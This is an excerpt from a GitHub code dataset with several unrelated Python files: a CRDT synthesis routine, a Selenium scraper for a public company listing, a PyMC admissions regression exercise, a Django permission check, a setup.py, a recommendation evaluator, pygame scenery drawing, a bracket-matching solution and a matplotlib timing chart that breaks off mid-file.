   synthStateForEquivalence,\n            *equivalenceQueryParams,\n        )\n    ]\n\n    synthStateForSupported = Var(f\"supported_synthState\", synthStateType)\n    argList = [\n        Var(\n            f\"supported_arg_{i}\",\n            op_arg_types[i],\n        )\n        for i in range(len(op_arg_types))\n    ]\n    invAndPsSupported = (\n        [\n            Synth(\n                \"supportedCommand\",\n                grammarSupportedCommand(\n                    synthStateForSupported, argList, baseDepth, invariantBoost\n                ),\n                synthStateForSupported,\n                *argList,\n            )\n        ]\n        if not useOpList\n        else []\n    )\n    # end equivalence\n\n    if log:\n        print(\"====== synthesis\")\n\n    combinedVCVars = set(tracker.all())\n\n    combinedInvAndPs = (\n        invAndPsStateTransition\n        + invAndPsQuery\n        + invAndPsInitState\n        + invAndPsEquivalence\n        + invAndPsSupported\n    )\n\n    combinedVC = And(vcStateTransition, vcInitState)\n\n    lang = targetLang()\n    if useOpList:\n        lang = lang + opListAdditionalFns(\n            synthStateType, opType, initState, inOrder, opPrecondition\n        )\n\n    if skipSynth:\n        return  # type: ignore\n\n    try:\n        out = synthesize(\n            basename,\n            lang,\n            combinedVCVars,\n            combinedInvAndPs,\n            [],\n            combinedVC,\n            [*combinedInvAndPs],\n            cvcPath,\n            uid=uid,\n            unboundedInts=unboundedInts,\n            noVerify=useOpList,\n            listBound=listBound,\n            log=log,\n        )\n    except VerificationFailed:\n        # direct synthesis mode\n        print(\n            f\"#{uid}: CVC5 failed to verify synthesized design, increasing Rosette data structure bounds to\",\n            listBound + 1,\n        )\n        return synthesize_crdt(\n            filename,\n            fnNameBase,\n            loopsFile,\n            cvcPath,\n            origSynthStateType,\n            initState,\n            grammarStateInvariant,\n            grammarSupportedCommand,\n            inOrder,\n            opPrecondition,\n            grammar,\n            grammarQuery,\n            grammarEquivalence,\n            targetLang,\n            synthesize,\n            stateTypeHint=stateTypeHint,\n            opArgTypeHint=opArgTypeHint,\n            queryArgTypeHint=queryArgTypeHint,\n            queryRetTypeHint=queryRetTypeHint,\n            uid=uid,\n            unboundedInts=unboundedInts,\n            useOpList=useOpList,\n            listBound=listBound + 1,\n            baseDepth=baseDepth,\n            invariantBoost=invariantBoost,\n            log=log,\n        )\n\n    if useOpList:\n        print(\n            f\"#{uid}: Synthesizing invariants for unbounded verification (Rosette structure/history bound: {listBound})\"\n        )\n        equivalence_fn = [x for x in out if x.args[0] == \"equivalence\"][0]\n        state_transition_fn = [\n            x for x in out if x.args[0] == f\"{fnNameBase}_next_state\"\n        ][0]\n        query_fn = [x for x in out if x.args[0] == f\"{fnNameBase}_response\"][0]\n        init_state_fn = [x for x in out if x.args[0] == f\"{fnNameBase}_init_state\"][0]\n\n        equivalence_fn.args[3] = Var(\n            equivalence_fn.args[3].args[0],\n            TupleT(*equivalence_fn.args[3].type.args[:-1]),\n        )\n\n        equivalence_fn.args[1] = equivalence_fn.args[1].rewrite(\n            {equivalence_fn.args[3].args[0]: equivalence_fn.args[3]}\n        )\n\n        state_transition_fn.args[2] = Var(\n            state_transition_fn.args[2].args[0],\n            TupleT(*state_transition_fn.args[2].type.args[:-1]),\n        )\n\n        # drop the op-list\n        state_transition_fn.args[1] = Tuple(\n            *[\n                e.rewrite(\n                    {state_transition_fn.args[2].args[0]: state_transition_fn.args[2]}\n                )\n                for e in state_transition_fn.args[1].args[:-1]\n            ]\n        )\n\n        query_fn.args[2] = Var(\n            query_fn.args[2].args[0], TupleT(*query_fn.args[2].type.args[:-1])\n        )\n\n        query_fn.args[1] = query_fn.args[1].rewrite(\n            {query_fn.args[2].args[0]: query_fn.args[2]}\n        )\n\n        init_state_fn.args[1] = Tuple(*init_state_fn.args[1].args[:-1])\n\n        try:\n            # attempt to synthesize the invariants\n            return synthesize_crdt(\n                filename,\n                fnNameBase,\n                loopsFile,\n                cvcPath,\n                origSynthStateType,\n                lambda: init_state_fn.args[1],  # type: ignore\n                grammarStateInvariant,\n                grammarSupportedCommand,\n                inOrder,\n                opPrecondition,\n                lambda inState, args, _baseDepth: typing.cast(\n                    Expr, state_transition_fn.args[1]\n                ).rewrite(\n                    {\n                        cur_state_param.name(): inState,\n                        **{orig.name(): new for orig, new in zip(op_arg_vars, args)},\n                    }\n                ),\n                lambda _name, _args, _retT, _baseDepth: Synth(\n                    query_fn.args[0], query_fn.args[1], *query_fn.args[2:]\n                ),\n                lambda a, b, _baseDepth, _invariantBoost: equivalence_fn.args[1],  # type: ignore\n                targetLang,\n                synthesize,\n                stateTypeHint=stateTypeHint,\n                opArgTypeHint=opArgTypeHint,\n                queryArgTypeHint=queryArgTypeHint,\n                queryRetTypeHint=queryRetTypeHint,\n                uid=uid,\n                unboundedInts=unboundedInts,\n                useOpList=False,\n                listBound=listBound,\n                baseDepth=baseDepth,\n                invariantBoost=invariantBoost,\n                log=log,\n            )\n        except SynthesisFailed:\n            try:\n                # try to re-verify with a larger bound\n                print(\n                    f\"#{uid}: re-verifying with history bound {listBound + 1} and attempting to re-synthesize invariants with deeper grammar\"\n                )\n                return synthesize_crdt(\n                    filename,\n                    fnNameBase,\n                    loopsFile,\n                    cvcPath,\n                    origSynthStateType,\n                    lambda: init_state_fn.args[1],  # type: ignore\n                    grammarStateInvariant,\n                    grammarSupportedCommand,\n                    inOrder,\n                    opPrecondition,\n                    lambda inState, args, _baseDepth: typing.cast(\n                        Expr, state_transition_fn.args[1]\n                    ).rewrite(\n                        {\n                            cur_state_param.name(): inState,\n                            **{\n                                orig.name(): new for orig, new in zip(op_arg_vars, args)\n                            },\n                        }\n                    ),\n                    lambda _name, args, _retT, _baseDepth: Synth(\n                        query_fn.args[0], query_fn.args[1], *args\n                    ),\n                    lambda a, b, c, _baseDepth: equivalence_fn.args[1],  # type: ignore\n                    targetLang,\n                    synthesize,\n                    stateTypeHint=stateTypeHint,\n                    opArgTypeHint=opArgTypeHint,\n                    queryArgTypeHint=queryArgTypeHint,\n                    queryRetTypeHint=queryRetTypeHint,\n                    uid=uid,\n                    unboundedInts=unboundedInts,\n                    useOpList=useOpList,\n                    listBound=listBound + 1,\n                    baseDepth=baseDepth,\n                    invariantBoost=invariantBoost + 1,\n                    log=log,\n                )\n            except SynthesisFailed:\n                print(\n                    f\"#{uid}: could not synthesize invariants, re-synthesizing entire design with history bound {listBound + 1}\"\n                )\n                return synthesize_crdt(\n                    filename,\n                    fnNameBase,\n                    loopsFile,\n                    cvcPath,\n                    origSynthStateType,\n                    initState,\n                    grammarStateInvariant,\n                    grammarSupportedCommand,\n                    inOrder,\n                    opPrecondition,\n                    grammar,\n                    grammarQuery,\n                    grammarEquivalence,\n                    targetLang,\n                    synthesize,\n                    stateTypeHint=stateTypeHint,\n                    opArgTypeHint=opArgTypeHint,\n                    queryArgTypeHint=queryArgTypeHint,\n                    queryRetTypeHint=queryRetTypeHint,\n                    uid=uid,\n                    unboundedInts=unboundedInts,\n                    useOpList=useOpList,\n                    listBound=listBound + 1,\n                    baseDepth=baseDepth,\n                    invariantBoost=invariantBoost,\n                    log=log,\n                )\n    else:\n        return out\n","repo_name":"hydro-project/katara","sub_path":"katara/synthesis.py","file_name":"synthesis.py","file_ext":"py","file_size_in_byte":26204,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"36"}
{"seq_id":"25143307233","text":"# -*- coding: utf-8 -*-\nfrom pandas import DataFrame\nfrom selenium import webdriver\n\nbrowser = webdriver.Chrome()\n\n\ndef toPage(page):\n\tbrowser.get(\"http://219.135.157.143:2002/gzwz/gdyj/sjwz/yp/sjwzYpScqyList.faces\")\n\tinput = browser.find_element_by_css_selector('.dr-table-footer .commonTextInput01')\n\t# input.click()\n\tinput.clear()\n\tinput.send_keys(page)\n\tbrowser.find_element_by_css_selector('.dr-table-footer input[type=\"submit\"]').click()\n\treturn browser\n\n\ndef totalElement():\n\tatags = browser.find_elements_by_css_selector('.dr-table>tbody td a')\n\treturn len(atags)\n\n\ndef openElement(current):\n\t# actions = ActionChains(browser)\n\tatags = browser.find_elements_by_css_selector('.dr-table>tbody td a')\n\tcount = len(atags)\n\tcurInfo = atags[current]\n\tcurInfo.click()\n\n\ndef getCompanyInfo(companies=[]):\n\t# label=browser.find_element_by_css_selector('#sjwzYpScqyForm:qymc')\n\ttrs = browser.find_elements_by_css_selector('#tb_sjwzBjpPzss_table tr')\n\tinfo = {}\n\tfor tr in trs[:-1]:\n\t\ttry:\n\t\t\tkey = tr.find_element_by_css_selector('.rich-table-sixrow6').text\n\t\t\tvalue = tr.find_element_by_css_selector('.rich-table-fiverow6').text\n\t\t\tinfo[key] = value\n\t\texcept Exception as e:\n\t\t\tprint('发生异常')\n\t\t\tprint(e)\n\tprint(info)\n\tcompanies.append(info)\n\treturn info\n\n\ndef getTotalPage():\n\treturn 58\n\n\ncompanies = []\ntry:\n\tfor i in range(1, getTotalPage() + 1):\n\t\ttoPage(i)\n\t\ttotal = totalElement()\n\t\tfor x in range(total):\n\t\t\topenElement(x)\n\t\t\tgetCompanyInfo(companies)\n\t\t\tbrowser.back()\n\n\tprint(companies)\n\tdf = DataFrame(companies)\n\tdf.to_excel('D:\\\\pypy\\\\pythonresult\\\\食品药品\\\\食品药品相关公司.xlsx', index=False)\nexcept RuntimeError as e:\n\tprint(e)\nfinally:\n\tbrowser.close()\n","repo_name":"w341000/PythonTheWord","sub_path":"爬虫文件/爬取药企数据信息.py","file_name":"爬取药企数据信息.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"21132818507","text":"import sys\nimport pandas as pd\n\ndef merge_csv(files):\n    df_list = []\n    for file in files:\n        df = pd.read_csv(file)\n        df_list.append(df)\n    result = pd.concat(df_list)\n    result.to_csv('result.csv', index=False)\n\nif __name__ == '__main__':\n    files = sys.argv[1:]\n    merge_csv(files)\n","repo_name":"nibomed/job-search","sub_path":"merger.py","file_name":"merger.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"29979112162","text":"import pandas as pd\nimport pymc as pm\nimport numpy as np\nimport arviz as az\nimport matplotlib.pyplot as plt\n\n#1\ndata = pd.read_csv(\"C:\\\\Users\\\\Daniel\\\\Desktop\\\\PMP-2023\\\\Lab9\\\\Admission.csv\")\nx1 = data['GRE'].values.astype(int)\nx2 = data['GPA'].values.astype(float)\nadmission = data['Admission'].values.astype(int)\n\nwith pm.Model() as logistic_model:\n    beta0 = pm.Normal('beta0', mu=0, sd=10)\n    beta1 = pm.Normal('beta1', mu=0, sd=10)\n    beta2 = pm.Normal('beta2', mu=0, sd=10)\n\n    pi = pm.Deterministic('pi', pm.math.sigmoid(beta0 + beta1*x1 + beta2*x2))\n\n    admission_obs = pm.Bernoulli('admission_obs', p=pi, observed=admission)\n\nwith logistic_model:\n    trace = pm.sample(2000, tune=1000)\n\npm.summary(trace)\n\n#2\ngre_values = np.linspace(data['GRE'].min(), data['GRE'].max(), 100)\ngpa_values = np.linspace(data['GPA'].min(), data['GPA'].max(), 100)\nx_grid = np.meshgrid(gre_values, gpa_values)\np_grid = pm.math.sigmoid(np.mean(trace['beta0']) + np.mean(trace['beta1']) * x_grid[0] + np.mean(trace['beta2']) * x_grid[1])\ndecision_boundary = np.mean(p_grid > 0.5)\n\nhdi = az.hdi(trace['p'], hdi_prob=0.94)\nprint(f\"Granita de decizie: {decision_boundary}\")\n\np_grid_values = p_grid.eval()\ndecision_boundary_grid = p_grid_values > 0.5\nhdi_grid = az.hdi(p_grid_values, hdi_prob=0.94)\nplt.scatter(data['GRE'], data['GPA'], c=[f'C{x}' for x in data['Admission']])\nplt.contour(x_grid[0], x_grid[1], decision_boundary_grid, levels=[0.5], colors='k')\nplt.contourf(x_grid[0], x_grid[1], hdi_grid, levels=[hdi_grid.min(), 0.5, hdi_grid.max()], colors=['b', 'r', 'b'], alpha=0.5)\nplt.xlabel('GRE')\nplt.ylabel('GPA')\nplt.legend(['Decision boundary', '94% HDI'])\nplt.show()\n\n#3\nstudent1 = np.array([[550, 3.5]])\np_student1 = pm.math.sigmoid(np.mean(trace['beta0']) + np.mean(trace['beta1']) * student1[0, 0] + np.mean(trace['beta2']) * student1[0, 1]).eval()\nhdi_student1 = az.hdi(p_student1, hdi_prob=0.9)\nprint(f\"90% HDI for a student with GRE=550 and GPA=3.5: {hdi_student1[0]}, {hdi_student1[1]}\")\n\n#4\nstudent2 = np.array([[500, 3.2]])\np_student2 = pm.math.sigmoid(np.mean(trace['beta0']) + np.mean(trace['beta1']) * student2[0, 0] + np.mean(trace['beta2']) * student2[0, 1]).eval()\nhdi_student2 = az.hdi(p_student2, hdi_prob=0.9)\nprint(f\"90% HDI for a student with GRE=500 and GPA=3.2: {hdi_student2[0]}, {hdi_student2[1]}\")\n","repo_name":"CochiorDaniel/PMP-2023","sub_path":"Lab9/temalab9.py","file_name":"temalab9.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"}
{"seq_id":"6788433861","text":"from django.core.exceptions import ObjectDoesNotExist\n\nfrom rest_framework.permissions import BasePermission\n\nfrom consultant.models import Consultant\n\nfrom .models import Circle\nfrom .conf import settings\n\n\nclass CanViewCircle(BasePermission):\n\n    def has_permission(self, request, view):\n        can_view = False\n        circle_name = view.kwargs.get('name')\n        try:\n            circle = Circle.objects.get(\n                name__iexact=circle_name)\n            can_view = circle.is_user_in_followers(request.user)\n        except Circle.DoesNotExist:\n            if circle_name == settings.CIRCLES_PROJECT_QUESTION_CIRCLE_NAME:\n                can_view = request.user in Consultant.objects.filter_consulting_enabled().users()\n            else:\n                raise ObjectDoesNotExist\n\n        return can_view or request.user.is_superuser\n","repo_name":"tomasgarzon/exo-services","sub_path":"service-exo-core/circles/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"19772458452","text":"#!/usr/bin/env python\nfrom setuptools import setup\nimport dyndns\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\ntest_deps = [\n    'unittest2 >= 1.1.0',\n]\n\nsetup(\n    name = 'domain-connect-dyndns',\n    version=dyndns.__version__,\n    description = 'Python client library for Dynamic DNS using Domain Connect',\n    license = 'MIT',\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    author = 'Andreea Dima',\n    author_email = 'andreea.dima@1and1.ro',\n    url=\"https://github.com/Domain-Connect/DomainConnectDDNS-Python\",\n    classifiers = [\n        'Programming Language :: Python :: 3',\n        'Programming Language :: Python :: 2',\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\"\n    ],\n    packages = [\n        'dyndns',\n    ],\n    install_requires = [\n        'validators >= 0.12.6',\n        'requests >= 2.21.0',\n        'dnspython >= 1.15.0',\n        'domain-connect >= 0.0.9',\n        'ipaddress >= 1.0.23;python_version<\"3.3\"',\n    ],\n    entry_points = {\n        'console_scripts': ['domain-connect-dyndns=dyndns.command_line:main'],\n    },\n    tests_require=test_deps,\n    extras_require={\n        'test': test_deps,\n    },\n)\n","repo_name":"Domain-Connect/DomainConnectDDNS-Python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"36"}
{"seq_id":"1813795339","text":"import heapq\nimport json\nimport math\nimport os\nimport pickle\nfrom os import listdir\nfrom os.path import isfile\n\nimport numpy as np\nimport pkg_resources\nimport scipy\nfrom gensim.models import FastText\nfrom scipy import spatial\n\nfrom aminer.precision.evaluate.evaluate_better import extract_fos_set, extract_lang_and_fos_set\nfrom aminer.recall.query_es import get_abstract_by_pids, get_references_by_pid\nfrom aminer.precision.metrics import recall, precision\n\nroot_directory = pkg_resources.resource_filename(\"aminer\", \"support\")\nmodel_directory = os.path.join(root_directory, \"models\")\n\nvec = pickle.load(open(os.path.join(model_directory, 'vec.model'), 'rb'))\nfasttext = FastText.load(os.path.join(model_directory, 'fasttext', 'fasttext.model'))\nword_to_idx = list(vec.get_feature_names())\n\n\ndef compute_abstract_embedding(abstract, is_query=False):\n    tfidf_vec = vec.transform([abstract])\n    tfidf_vec = scipy.sparse.coo_matrix(tfidf_vec)\n    word_count = 0\n    sum_embedding = np.zeros(50)\n    for _, word_index, word_tfidf in zip(tfidf_vec.row, tfidf_vec.col, tfidf_vec.data):\n        word = word_to_idx[word_index]\n        if word in fasttext.wv.vocab:\n            word_count += 1\n            if not is_query:\n                sum_embedding += word_tfidf * fasttext.wv[word]\n            else:\n                sum_embedding += fasttext.wv[word]\n\n    if word_count == 0:\n        return [0] * 50\n\n    return (sum_embedding / word_count).tolist()\n\n\ndef get_all_embeddings(current_embedding, files, fos):\n    for file in files:\n        print(\"Checking file: \", file)\n        with open(file, 'r') as f:\n            embeddings = json.load(f)\n            f.close()\n\n        for pid, emb in embeddings.items():\n            target_lang, target_fos = extract_lang_and_fos_set(pid)\n            if not target_fos.isdisjoint(fos):\n                if target_lang == 'en' or target_lang == 'Not inputted':\n                    cosine_similarity = 1 - spatial.distance.cosine(current_embedding, emb)\n                    if not math.isnan(cosine_similarity):\n                        yield (pid, cosine_similarity)\n\n\ndef recommend(ids, k=100):\n    ids_to_abstract = get_abstract_by_pids(ids)\n\n    recommendations = {}\n\n    for target_id, abstract in ids_to_abstract.items():\n        print(\"Finding recommendations for: \", target_id)\n        fos = extract_fos_set(target_id)\n        embeddings_directory = os.path.join(root_directory, \"output_embeddings2\")\n\n        current_embedding = compute_abstract_embedding(abstract, is_query=True)\n\n        files = [os.path.join(embeddings_directory, f) for f in listdir(embeddings_directory) if isfile(os.path.join(embeddings_directory, f))]\n\n        all_embeddings = get_all_embeddings(current_embedding, files, fos)\n        recommendations[target_id] = heapq.nlargest(k, all_embeddings, key=lambda e: e[1])\n\n    return recommendations\n\n\nif __name__ == '__main__':\n    file = os.path.join(root_directory, 'sample_id.txt')\n    ids = [line.rstrip('\\n') for line in open(file)]\n\n    recommendations = recommend(ids, 100000)\n\n    outfile = os.path.join(root_directory, 'recommendations.json')\n\n    with open(outfile, 'w') as f:\n        json.dump(recommendations, f)\n\n    for pid, recs in recommendations.items():\n        pred_reference_list = [e[0] for e in recs]\n        true_reference_list = get_references_by_pid(pid)\n\n        print(precision(pred_reference_list, true_reference_list))\n        print(recall(pred_reference_list, true_reference_list))\n\n\n\n\n\n\n\n\n","repo_name":"wyxzou/Citations","sub_path":"src/aminer/precision/evaluate/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"18790320780","text":"import pygame\nimport sys\nfrom pygame.locals import *\nimport math\nfrom random import randint\nimport background\nimport time\n\nclass vec2d(object):\n\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n\nindigo = (121, 134, 203)\nsun_red = (191, 54, 12)\nradius_red = (230, 74, 25)\nsea = (13, 71, 161)\nlightblue1 = (3, 155, 229)\nlightblue2 = (41, 182, 246)\nblue = (2, 119, 189)\ndarkblue = (129, 212, 250)\nwhite = (255, 255, 255)\norange = (255, 152, 0)\namber = (255, 111, 0)\nearth = (0, 77, 64)\nday_sky = (128,222,234)\ndark_sky = (0,96,100)\nmoon = (255,241,118)\n\n\ndef draw(display, display_width, display_height):\n    millis_weight = 10\n    mod_range = 1000\n    mod_weight = millis_weight*mod_range\n    mod_middle = mod_weight/2\n    millis = int(round(time.time() * 1000))\n    display.fill((255, 255, 255))\n    if millis%mod_weight > mod_middle:\n        draw_day(display, display_width, display_height)\n    elif millis%mod_weight< mod_middle:\n        draw_dark(display, display_width, display_height)\n\n    draw_sky(display, display_width, display_height)\n    draw_wave(display, display_width, display_height)\n\n    if millis%mod_weight > mod_middle:\n        draw_sun(display, display_width, display_height)\n    elif millis%mod_weight< mod_middle:\n        draw_moon(display)\n\n\ndef draw_sun(display, display_width, display_height):\n    sun_center = (200, 100)\n    radius_number = 10 + randint(0, 10)\n    radius_length = 40 + randint(0, 10)\n    sub_radius_angle = 360 / radius_number\n    sun_radius = 50 + randint(0, 10)\n    sun_radius_gap = 10 + randint(0, 10)\n    for radius_index in range(0, radius_number):\n        angle = math.radians((radius_index - 1) * sub_radius_angle)\n        X = sun_center[0]\n        Y = sun_center[1]\n        radius_start = radius_length + sun_radius_gap + randint(0, 40)\n        radius_end = sun_radius + radius_length + \\\n            sun_radius_gap + randint(0, 40)\n        point1 = (math.floor(X - (math.cos(angle) * (radius_start))),\n                  math.floor(Y - (math.sin(angle) * (radius_start))))\n        point2 = (math.floor(X - (math.cos(angle) * (radius_end))),\n                  math.floor(Y - (math.sin(angle) * (radius_end))))\n        pygame.draw.lines(\n            display, radius_red, True, [point1, point2], 10)\n\n    pygame.draw.circle(display, sun_red, sun_center, radius_length, 0)\n\n\ndef draw_cloud(display, display_width, display_height):\n    pygame.draw.arc(display, indigo, (600, 150, 100, 80),\n                    math.radians(0), math.radians(randint(10, 300)), 4)\n\n\ndef draw_wave(display, display_width, display_height):\n    sea_tick = 20\n    rim_tick = 20\n    start_point = 600\n    sea_start = start_point\n    wave_start = start_point\n    max_wave = 10\n    min_wave = 10\n    max_amp = 50\n    wave_gap = 25\n    wave_gang = randint(min_wave, max_wave)\n\n    for wave in range(0, wave_gang, 2):\n        vary_base = randint(30, 50)\n        amp = randint(vary_base, max_amp)\n        wave_start -= wave_gap\n        random_sea = randint(0, 3)\n        for xaxis in range(0, display_width, 15):\n            if wave == 0 or wave == wave_gang - 1:\n                pygame.draw.circle(display, sea, (xaxis, (wave_start) + math.floor(\n                    (amp) * math.sin(math.radians(xaxis)))), rim_tick, 0)\n            elif wave == 0 or wave == wave_gang - 1:\n                pygame.draw.circle(display, sea, (xaxis, (wave_start) + math.floor(\n                    (amp) * math.sin(math.radians(xaxis)))), rim_tick, 0)\n            else:\n                if random_sea == 0:\n                    pygame.draw.circle(display, blue, (xaxis, (wave_start) + math.floor(\n                        (amp) * math.sin(math.radians(xaxis)))), sea_tick, 0)\n                elif random_sea == 1:\n                    pygame.draw.circle(display, lightblue1, (xaxis, (\n                        wave_start) + math.floor((amp) * math.sin(math.radians(xaxis)))), sea_tick, 0)\n                elif random_sea == 2:\n                    pygame.draw.circle(display, lightblue2, (xaxis, (\n                        wave_start) + math.floor((amp) * math.sin(math.radians(xaxis)))), sea_tick, 0)\n                elif random_sea == 3:\n                    pygame.draw.circle(display, darkblue, (xaxis, (wave_start) + math.floor(\n                        (amp) * math.sin(math.radians(xaxis)))), sea_tick, 0)\n\n\ndef draw_sky(display, display_width, display_height):\n    start_point = 500\n    end_point = 800\n    gap = math.floor((end_point - start_point) / 20)\n    amp = 1\n    for sand in range(0, 4):\n        amp = 10\n        start = sand * 30\n        for xaxis in range(0, display_width, randint(5, 20)):\n            if randint(0, 1) == 0:\n                if sand % 2 == 0:\n                    pygame.draw.circle(\n                        display, orange, (xaxis, (start) + math.floor((amp) * math.sin(math.radians(xaxis)))), 10, 0)\n                else:\n                    pygame.draw.circle(\n                        display, amber, (xaxis, (start) + math.floor((amp) * math.sin(math.radians(xaxis)))), 10, 0)\n            else:\n                if sand % 2 == 0:\n                    pygame.draw.circle(\n                        display, sea, (xaxis, (start) + math.floor((amp) * math.sin(math.radians(xaxis)))), 10, 0)\n                else:\n                    pygame.draw.circle(\n                        display, blue, (xaxis, (start) + math.floor((amp) * math.sin(math.radians(xaxis)))), 10, 0)\n\n\ndef draw_day(display, display_width, display_height):\n    pygame.draw.rect(\n        display, day_sky, (0, 0, display_width, display_height), 0)\n\ndef draw_dark(display, display_width, display_height):\n    pygame.draw.rect(\n        display, dark_sky, (0, 0, display_width, display_height), 0)\n\n\ndef draw_moon(display):\n    width = 30\n    height = 200\n    moon_head = [300, 100]\n    moon_tail = [moon_head[0], moon_head[1] + height]\n    body_top = [moon_head[0]-(width+80), moon_head[1]+20]\n    body_low = [moon_head[0]-(width+80), moon_tail[1]-20]\n\n    for fillMoon in range(0, width):\n        control_points = [vec2d(moon_head[0], moon_head[1]), vec2d(body_top[0]+fillMoon, body_top[\n            1]), vec2d(body_low[0]+fillMoon, body_low[1]), vec2d(moon_tail[0], moon_tail[1])]\n\n        # Draw bezier curve\n        b_points = compute_bezier_points([(x.x, x.y) for x in control_points])\n        pygame.draw.lines(display, moon, False, b_points, 2)\n\n\ndef compute_bezier_points(vertices, numPoints=None):\n    if numPoints is None:\n        numPoints = 30\n    if numPoints < 2 or len(vertices) != 4:\n        return None\n\n    result = []\n\n    b0x = vertices[0][0]\n    b0y = vertices[0][1]\n    b1x = vertices[1][0]\n    b1y = vertices[1][1]\n    b2x = vertices[2][0]\n    b2y = vertices[2][1]\n    b3x = vertices[3][0]\n    b3y = vertices[3][1]\n\n    # Compute polynomial coefficients from Bezier points\n    ax = -b0x + 3 * b1x + -3 * b2x + b3x\n    ay = -b0y + 3 * b1y + -3 * b2y + b3y\n\n    bx = 3 * b0x + -6 * b1x + 3 * b2x\n    by = 3 * b0y + -6 * b1y + 3 * b2y\n\n    cx = -3 * b0x + 3 * b1x\n    cy = -3 * b0y + 3 * b1y\n\n    dx = b0x\n    dy = b0y\n\n    # Set up the number of steps and step size\n    numSteps = numPoints - 1  # arbitrary choice\n    h = 1.0 / numSteps  # compute our step size\n\n    # Compute forward differences from Bezier points and \"h\"\n    pointX = dx\n    pointY = dy\n\n    firstFDX = ax * (h * h * h) + bx * (h * h) + cx * h\n    firstFDY = ay * (h * h * h) + by * (h * h) + cy * h\n\n    secondFDX = 6 * ax * (h * h * h) + 2 * bx * (h * h)\n    secondFDY = 6 * ay * (h * h * h) + 2 * by * (h * h)\n\n    thirdFDX = 6 * ax * (h * h * h)\n    thirdFDY = 6 * ay * (h * h * h)\n\n    # Compute points at each step\n    result.append((int(pointX), int(pointY)))\n\n    for i in range(numSteps):\n        pointX += firstFDX\n        pointY += firstFDY\n\n        firstFDX += secondFDX\n        firstFDY += secondFDY\n\n        secondFDX += thirdFDX\n        secondFDY += thirdFDY\n\n        result.append((int(pointX), int(pointY)))\n\n    return result\n","repo_name":"TGGS-SSE-2016/SkinnyFighter","sub_path":"background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":7938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"20233860767","text":"class Solution:\n    def isValid(self, s: str) -> bool:\n        stack = list()\n        lens = len(s)\n        for i in range(lens):\n            if len(stack) == 0:\n                stack.append(s[i])\n            else:\n                if (s[i] == ')' and stack[-1] == '(') or (s[i] == '}' and stack[-1] == '{') or \\\n                        (s[i] == ']' and stack[-1] == '['):\n                    stack.pop()\n                else:\n                    stack.append(s[i])\n\n        return len(stack) == 0\n\nif __name__ == \"__main__\":\n    s = \"()[]{}\"\n    res = Solution().isValid(s)\n    print(res)","repo_name":"geroge-gao/Algorithm","sub_path":"LeetCode/python/20_有效括号.py","file_name":"20_有效括号.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"36"}
{"seq_id":"16722810994","text":"# Necessary imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport random\nr = lambda x: random.randint(0,x)\n\n# build a rectangle in axes coords\nleft, width = .1, .8\nbottom, height = .1, .8\nright = left + width\ntop = bottom + height\n\n\nfig = plt.figure()\nax = fig.add_axes([0,0,1,1])\n\n# axes coordinates are 0,0 is bottom left and 1,1 is upper right\nframe = patches.Rectangle((left, bottom), width, height,\n    fill=False, transform=ax.transAxes, clip_on=False\n    )\n\nax.add_patch(frame)\n\n\ndef drawBox(text, box_left, box_width, row = 0, box_height = 0.1):\n\n\tif row == 0:\n\t\tcolor = '#8844FF'\n\telse:\n\t\tred = int(255*box_width/width)\n\t\tgreen = r(255)\n\t\tblue =  max(0, min(255, 255-row*50 + r(50)))\n\n\t\tcolor = '#%02X%02X%02X' % (red, green, blue)\n\n\n\tp = patches.Rectangle((box_left, top - box_height*(1+row)), box_width, box_height,\n    facecolor=color, transform=ax.transAxes, clip_on=False, linewidth=1,edgecolor='#000000'\n    )\n\n\tax.add_patch(p)\n\n\tif box_width > 0.05:\n\t\tax.text(box_left*0.5 + box_width*0.5 + left, top - box_height/2 - box_height*row, text,\n\t\t        horizontalalignment='center', verticalalignment='center',\n\t\t        fontsize=10, transform=ax.transAxes, wrap=True)\n\n\ninfilename  = \"lofar_bootes_ps_timing_timestep500.txt\"\ninfile = open(infilename,\"r\")\nbleft1 = left\nbleft2 = left\ntoptime = 1\nfor line in infile:\n\tif ':' not in line: continue\n\ttoks = line.split(':')\n\ttime = toks[-1].strip().split(' ')[0]\n\tname = toks[0]\n\n\tprint(line)\n\tif line[:6] == 'Total:':\n\t\tdrawBox(\"{0}: {1}s\".format(name,time), left, width, row = 0)\n\t\ttoptime = float(time)\n\t\tcontinue\n\tif line[0] != ' ':\n\t\tdrawBox(\"{0}: {1}s\".format(name,time), bleft1, width*float(time)/toptime, row = 1)\n\t\tbleft1 += width*float(time)/toptime\n\tif line[:2] == '  ' and line[2] != ' ':\n\t\tdrawBox(\"{0}: {1}s\".format(name,time), bleft2, width*float(time)/toptime, row = 2)\n\t\tbleft2 += width*float(time)/toptime\n\n\n\n\n\n\n\n'''\nax.text(left, bottom, 'left top',\n        horizontalalignment='left',\n        verticalalignment='top',\n        transform=ax.transAxes)\n\nax.text(left, bottom, 'left bottom',\n        horizontalalignment='left',\n        verticalalignment='bottom',\n        transform=ax.transAxes)\n\nax.text(right, top, 'right bottom',\n        horizontalalignment='right',\n        